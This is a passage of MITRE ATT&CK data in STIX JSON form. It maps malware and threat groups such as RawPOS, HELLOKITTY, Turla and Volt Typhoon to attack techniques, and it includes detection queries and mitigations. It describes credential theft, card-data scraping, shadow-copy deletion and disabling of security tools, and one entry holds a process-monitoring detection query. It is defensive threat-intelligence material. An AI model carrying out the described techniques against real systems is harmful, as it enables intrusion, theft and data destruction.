2012","description":"Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99"}],"modified":"2020-03-20T02:11:07.284Z","description":"[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can retrieve a list of running processes.(Citation: Symantec Linfo May 2012)","relationship_type":"uses","source_ref":"malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--92e4cc06-5708-4486-92cc-0d25d9a755d4","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dingledine Tor The Second-Generation Onion Router","description":"Roger Dingledine, Nick Mathewson and Paul Syverson. (2004). Tor: The Second-Generation Onion Router. Retrieved December 21, 2017.","url":"http://www.dtic.mil/dtic/tr/fulltext/u2/a465464.pdf"}],"modified":"2020-03-23T17:00:01.358Z","description":"Traffic traversing the [Tor](https://attack.mitre.org/software/S0183) network will be forwarded to multiple nodes before exiting the [Tor](https://attack.mitre.org/software/S0183) network and continuing on to its intended destination.(Citation: Dingledine Tor The Second-Generation Onion Router)","relationship_type":"uses","source_ref":"tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--92e8e517-aac5-4d8f-9752-83ee0710f568","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Gorgon Group Aug 2018","description":"Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}],"modified":"2019-07-25T14:56:46.633Z","description":"[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can attempt to disable security features in Microsoft Office and Windows Defender using the taskkill command.(Citation: Unit 42 Gorgon Group Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--92f4c657-bc3a-499c-adc0-590cd61617e3","created":"2022-03-30T14:26:51.876Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"\nMonitor for newly constructed network connections using Windows Remote Management (WinRM), such as remote WMI connection attempts (typically over port 5985 when using HTTP and 5986 for HTTPS).","modified":"2022-04-14T12:57:01.782Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--92f524c5-86e8-43cf-90d5-907ac16acf5d","type":"relationship","created":"2020-03-02T20:36:52.656Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019.","url":"http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf","source_name":"CERT-EU DDoS March 2017"}],"modified":"2022-03-25T20:02:44.250Z","description":"When flood volumes exceed the capacity of the network connection being targeted, it is typically necessary to intercept the incoming traffic upstream to filter out the attack traffic from the legitimate traffic. Such defenses can be provided by the hosting Internet Service Provider (ISP) or by a 3rd party such as a Content Delivery Network (CDN) or providers specializing in DoS mitigations.(Citation: CERT-EU DDoS March 2017)\n\nDepending on flood volume, on-premises filtering may be possible by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport.(Citation: CERT-EU DDoS March 2017)\n\nAs immediate response may require rapid engagement of 3rd parties, analyze the risk associated to critical resources being affected by Network DoS attacks and create a disaster recovery plan/business continuity plan to respond to incidents.(Citation: CERT-EU DDoS March 2017)","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--0bda01d5-4c1d-4062-8ee2-6872334383c3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--92fb7408-1638-43b7-95a3-0cfeebd7624d","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.kroll.com/en/insights/publications/malware-analysis-report-rawpos-malware","description":"Nesbit, B. and Ackerman, D. (2017, January). Malware Analysis Report - RawPOS Malware: Deconstructing an Intruder’s Toolkit. Retrieved October 4, 2017.","source_name":"Kroll RawPOS Jan 2017"},{"url":"http://sjc1-te-ftp.trendmicro.com/images/tex/pdf/RawPOS%20Technical%20Brief.pdf","description":"TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017.","source_name":"TrendMicro RawPOS April 2015"},{"url":"https://www.youtube.com/watch?v=fevGZs0EQu8","description":"Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.","source_name":"Mandiant FIN5 GrrCON Oct 2016"}],"modified":"2019-10-30T12:48:40.386Z","description":"[RawPOS](https://attack.mitre.org/software/S0169) dumps memory from specific processes on a victim system, parses the dumped files, and scrapes them for credit card data.(Citation: Kroll RawPOS Jan 2017)(Citation: TrendMicro RawPOS April 2015)(Citation: Mandiant FIN5 GrrCON Oct 2016)","relationship_type":"uses","source_ref":"malware--9752aef4-a1f3-4328-929f-b64eb0536090","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--93066a4a-0181-48cb-a2c3-3daa7ae5fefd","created":"2022-06-24T15:38:02.435Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Milan](https://attack.mitre.org/software/S1015) can use a custom protocol tunneled through DNS or HTTP.(Citation: Kaspersky Lyceum October 2021)","modified":"2022-06-24T15:38:02.435Z","relationship_type":"uses","source_ref":"malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--93086acc-65f7-4e41-b765-04bae1bc12fd","type":"relationship","created":"2021-06-04T14:49:06.921Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}],"modified":"2021-06-04T14:49:06.921Z","description":"[HELLOKITTY](https://attack.mitre.org/software/S0617) can use WMI to delete volume shadow copies.(Citation: FireEye FiveHands April 2021)","relationship_type":"uses","source_ref":"malware--5d11d418-95dd-4377-b782-23160dfa17b4","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--930e0ad7-c430-41d1-bea2-5d08cd2ffa3d","created":"2022-01-27T18:04:46.511Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bisonal](https://attack.mitre.org/software/S0268) has appended random binary data to the end of itself to generate a large binary.(Citation: Talos Bisonal Mar 2020) ","modified":"2022-04-13T18:59:37.646Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--93139a4e-d7cb-44cf-8612-46532c85cfba","created":"2022-04-20T17:30:22.360Z","x_mitre_version":"0.1","external_references":[{"source_name":"Objective See Green Lambert for OSX Oct 2021","url":"https://objective-see.com/blog/blog_0x68.html","description":"Sandvik, Runa. (2021, October 1). Made In America: Green Lambert for OS X. Retrieved March 21, 2022."},{"source_name":"Glitch-Cat Green Lambert ATTCK Oct 2021","url":"https://www.glitch-cat.com/blog/green-lambert-and-attack","description":"Sandvik, Runa. (2021, October 18). Green Lambert and ATT&CK. Retrieved March 21, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Green Lambert](https://attack.mitre.org/software/S0690) can add [Login Items](https://attack.mitre.org/techniques/T1547/015) to establish persistence.(Citation: Objective See Green Lambert for OSX Oct 2021)(Citation: Glitch-Cat Green Lambert ATTCK Oct 2021) ","modified":"2022-04-20T17:30:22.360Z","relationship_type":"uses","source_ref":"malware--59c8a28c-200c-4565-9af1-cbdb24870ba0","target_ref":"attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--93150c1f-25b3-47b9-8327-dbaf97b6d2d3","created":"2024-05-16T20:11:43.594Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-16T20:11:43.594Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has conducted pre-compromise reconnaissance on victim-owned sites.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--93169fdc-7afd-41b9-90bc-54d99c1c86e6","type":"relationship","created":"2020-06-19T19:08:40.387Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Valak May 2020","url":"https://www.cybereason.com/blog/valak-more-than-meets-the-eye","description":"Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."}],"modified":"2020-09-25T15:49:09.553Z","description":"[Valak](https://attack.mitre.org/software/S0476) has the ability to identify the domain and the MAC and IP addresses of an infected machine.(Citation: Cybereason Valak May 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9317c15e-44ae-4d00-9f2b-ad1b07ff52b5","type":"relationship","created":"2020-03-18T15:41:19.445Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GDATA Zeus Panda June 2017","url":"https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf","description":"Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018."}],"modified":"2020-03-18T15:41:19.445Z","description":"[Zeus Panda](https://attack.mitre.org/software/S0330) can launch remote scripts on the victim’s machine.(Citation: GDATA Zeus Panda June 2017)\t","relationship_type":"uses","source_ref":"malware--198db886-47af-4f4c-bff5-11b891f85946","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--93189ca3-7dfd-4c82-a7c7-a457a093d1d3","type":"relationship","created":"2021-04-09T13:34:37.390Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Intezer Doki July 20","url":"https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/","description":"Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021."}],"modified":"2021-04-09T13:34:37.390Z","description":"[Doki](https://attack.mitre.org/software/S0600) has resolved the path of a process PID to use as a script argument.(Citation: Intezer Doki July 20)","relationship_type":"uses","source_ref":"malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9319fb2f-88df-4195-a42e-2a6a983a4840","type":"relationship","created":"2020-10-14T20:39:49.553Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BackConfig May 2020","url":"https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/","description":"Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."}],"modified":"2020-10-14T20:39:49.553Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) has created self-signed certificates from fictitious and spoofed legitimate software companies that were later used to sign malware.(Citation: Unit 42 BackConfig May 2020)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--931a5425-011a-42b5-ae49-fba9c70572b6","type":"relationship","created":"2021-03-23T20:49:40.258Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ShadowPad Aug 2017","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf","description":"Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021."}],"modified":"2021-03-23T20:49:40.258Z","description":"[ShadowPad](https://attack.mitre.org/software/S0596) has collected the PID of a malicious process.(Citation: Kaspersky ShadowPad Aug 2017)","relationship_type":"uses","source_ref":"malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--931c0864-0b91-46b7-bdc0-0360777d95a6","type":"relationship","created":"2019-07-08T15:24:24.660Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Waterbug Jun 2019","url":"https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments","description":"Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019."}],"modified":"2020-03-30T03:08:06.394Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has encrypted files stolen from connected USB drives into a RAR file before exfiltration.(Citation: Symantec Waterbug Jun 2019)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--931e3af1-d38d-46eb-8c5d-d394510e2df1","created":"2022-06-24T14:21:06.257Z","x_mitre_version":"0.1","external_references":[{"source_name":"Zscaler Lyceum DnsSystem June 2022","url":"https://www.zscaler.com/blogs/security-research/lyceum-net-dns-backdoor","description":"Shivtarkar, N. and Kumar, A. (2022, June 9). Lyceum .NET DNS Backdoor. Retrieved June 23, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[DnsSystem](https://attack.mitre.org/software/S1021) can upload files from infected machines after receiving a command with `uploaddd` in the string.(Citation: Zscaler Lyceum DnsSystem June 2022)","modified":"2022-06-24T14:53:43.097Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--8a2867f9-e8fc-4bf1-a860-ef6e46311900","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--931ed644-db21-4c15-a26d-dcbd958aeec8","created":"2022-09-29T16:45:34.073Z","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T16:45:34.073Z","description":"(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"tool--59096109-a1dd-463b-87e7-a8d110fe3a79","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9321a544-0bde-4d6d-a197-303b70e39fc3","type":"relationship","created":"2020-01-17T16:10:58.801Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-17T16:10:58.801Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584","target_ref":"attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--932745cf-b6e8-4a1d-ba44-9a22b45901e9","created":"2023-09-15T17:11:16.031Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T15:10:51.181Z","description":"Adversaries may modify the binary file for an existing service to achieve [Persistence](https://attack.mitre.org/tactics/TA0003) while potentially [Defense Evasion](https://attack.mitre.org/tactics/TA0005). If a newly created or modified runs as a service, it may indicate APT activity. However, services are frequently installed by legitimate software. A well-tuned baseline is essential to differentiating between benign and malicious service modifications. Look for events where a file was created and then later run as a service. In these cases, a new service has been created or the binary has been modified. Many programs, such as msiexec.exe, do these behaviors legitimately and can be used to help validate legitimate service creations/modifications.","relationship_type":"detects","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--932beba4-bb6a-4174-abe3-353d2e39337c","type":"relationship","created":"2020-05-22T19:37:14.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Chafer February 2018","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions","description":"Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020."},{"source_name":"FBI FLASH APT39 September 2020","url":"https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf","description":"FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."}],"modified":"2020-12-11T16:17:17.893Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used a screen capture utility to take screenshots on a compromised host.(Citation: Symantec Chafer February 2018)(Citation: FBI FLASH APT39 September 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--932fa199-f4c0-4c39-bb30-a412607ee299","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure CozyDuke","description":"F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/CozyDuke"}],"modified":"2020-11-23T17:03:38.834Z","description":"Password stealer and NTLM stealer modules in [CozyCar](https://attack.mitre.org/software/S0046) harvest stored credentials from the victim, including credentials used as part of Windows NTLM user authentication.(Citation: F-Secure CozyDuke)","relationship_type":"uses","source_ref":"malware--e6ef745b-077f-42e1-a37d-29eecff9c754","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9330e368-a876-43a2-9e8a-ea4e37f00b85","created":"2022-06-16T19:27:21.544Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T20:18:41.585Z","description":"Monitor for newly executed processes that may exploit software vulnerabilities in an attempt to elevate privileges. After gaining initial access to a system, threat actors attempt to escalate privileges as they may be operating within a lower privileged process which does not allow them to access protected information or carry out tasks which require higher permissions. A common way of escalating privileges in a system is by externally invoking and exploiting spoolsv or connhost executables, both of which are legitimate Windows applications. This query searches for an invocation of either of these executables by a user, thus alerting us of any potentially malicious activity.\n\nNote: Event IDs are for Sysmon (Event ID 1 - process create) and Windows Security Log (Event ID 4688 - a new process has been created). The Analytic is oriented around looking for an invocation of either spoolsv.exe or conhost.exe by a user, thus alerting us of any potentially malicious activity. A common way of escalating privileges in a system is by externally invoking and exploiting these executables, both of which are legitimate Windows applications. \n\nAnalytic 1 - Unusual Child Process for spoolsv.exe or connhost.exe\n\n (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") (Image=\"C:\\Windows\\System32\\spoolsv.exe\" OR Image=\"C:\\Windows\\System32\\conhost.exe\") AND ParentImage= \"C:\\Windows\\System32\\cmd.exe\")","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9336c4ae-22c1-4f45-bbba-5cf3f51553aa","created":"2024-09-25T13:28:46.302Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-25T14:33:03.193Z","description":"In cloud environments, limit permissions to create new identity providers to only those accounts that require them. In AWS environments, consider using Service Control policies to limit the use of API calls such as `CreateSAMLProvider` or `CreateOpenIDConnectProvider`. ","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--93450717-845e-4cd8-b1ac-3a842251a331","created":"2022-08-18T19:10:14.042Z","x_mitre_version":"0.1","external_references":[{"source_name":"Google EXOTIC LILY March 2022","url":"https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/","description":"Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[EXOTIC LILY](https://attack.mitre.org/groups/G1011) has used contact forms on victim websites to generate phishing e-mails.(Citation: Google EXOTIC LILY March 